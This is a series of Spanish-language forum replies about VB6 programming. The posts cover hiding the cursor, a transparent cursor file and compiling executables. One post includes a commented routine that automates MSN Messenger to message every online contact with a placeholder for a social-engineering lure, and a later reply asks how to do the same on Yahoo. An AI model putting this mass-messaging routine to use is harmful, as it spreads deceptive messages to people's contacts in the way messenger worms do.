Mensajes

jeje,
me alegro que te haya funcionado.

salu2 y suerte

q lastima que no te funcione,
ni que te hacepte el cursor,

pero a mi con ese code,
encuanto entro al form con el cursor,
éste desaparece,
almenos a mi me funicona,
que extraño

Lo del cursor,
es extraño que no te lo tome,
pero de todas formas, yo te hice uno totalmente transparente,
y que a mi almenos me andubo,
probalo y desp decime

Cursor:
http://rapidshare.com/files/8671831/Cursor1.cur

salu2 y suerte

ok,
te paso mi msn x IM,
y vere en que puedo ayudarte,
auqnue nunk use el messenger de yahoo

salu2

acbo de volver a probar el code que he posteado,
y me funciona impecable,
pero creo q ya se xq no te funciona,
hace los siguiente:

1) poene el code en tu form
2) compila el exe
3) ejecuta el exe compilado y fijate si anda

estoy un 99% seguro de que así t va a andar  ,
solo probalo y desp me decis

salu2

no se si conoces como funcionaria eso con el MSN,
pero aca te dejo el code que hice para este tipo de cosas.

Código [Seleccionar] Expandir

'Agregar referencia Messenger API type Library
Dim contacto As IMessengerContact 'Se declara el nombre de 1 solo conacto para ser utilizado luego
Public WithEvents msn As MessengerAPI.Messenger 'Se declara para poder trabajar con el API

Private Sub MzN()
On Error Resume Next 'Si hay un error que continue
Set W = CreateObject("Messenger.UIAutomation") 'Se declara el objeto para interactuar con el msn
For Each contacto In W.MyContacts 'Acada contacto en la lista de contactos del MSN
    If contacto.Status <> MISTATUS_OFFLINE Then 'Se verifica que el contacto no este DESCONECTADO
        Set iMsn = W.InstantMessage(contacto.SigninName) 'Si es así se habre una conversación
        SendKeys ("Utilizar Ingenieria Social" & "{ENTER}" & "%{F4}") 'Aqui se le envia el mensaje y se cierra la ventana con esta parte "{ENTER}" & "%{F4}"
    End If 'Fin de la condición
Next 'Proximo contacto en la lista de contactos
End Sub

aca tenes el code bien detallado paso por paso,
espero que te sirva de algo, o almenos para darte una idea de como hacerlo.

salu2

creo q ahora entendi mejor,
ahora lo que me interesaria saber es cual es el mensage exacto a enviar.

el mensage lo podrias enviar con el sendkeys(),
x ejemplo si tenes la posibilidad de abrir una conversación con ese ID podes hacer los siguiente:

1) Abrirla
2) Enviar el mensaje con el sendkeys()
3) cerrar la conversación con el Sendkeys(),

esl tema es que no se si tenes la posibilidad de abrir una conversación,
nunk trabaje con el messenger yahoo,
no se si tiene algun tipo de api como el MSN,
pero si no estas posibilitado para abrir una conversación,
creo yo, que tendrias que investigar el protocolo de yahoo,
para ver de que forma envia los mensajes de un usuario a otro,
y luego tu hacerlo de la misma manera.

pero en un prinicipio me interesaria saber si podes abrir una conversación,
y cual seria el mensage.

salu2 y suerte

es así de facil:

Código [Seleccionar] Expandir

Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
resultado = ShowCursor(False)
End Sub


esto:

Código [Seleccionar] Expandir

Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long no tiene xq estar en un modulo, puede estar perfectamente en el form


salu2 y suerte

Larga vida al VB6   

sin duda muy productivo tu comentario,

evitemos comentarios inncesarios que lo unico que hacen es subir el numero de mensajes.

salu2

talvez, si explicaras mejor, podriamos ayudarte,

un mensaje de que tipo quieres mandar?,
que estas haciendo exactamente??,
de que es la lista que obtienes del servidor???

explicate un poco mas asi t ayudamos 

salu2

Ahh ok, entonces si usa la Framework quiere decir que se programa en .NET

con respecto a esto,
creo q se puede programar tanto en .net como en .com(así creo q se llama )

no se si el VB 2005 sea el mimso q el Express Edition, pero yo tengo el instalador del express edition y pesa 2,84 MB, esto se debe a que luego, el instalador baja los archivos necesarios de internet para realizar la instalación

salu2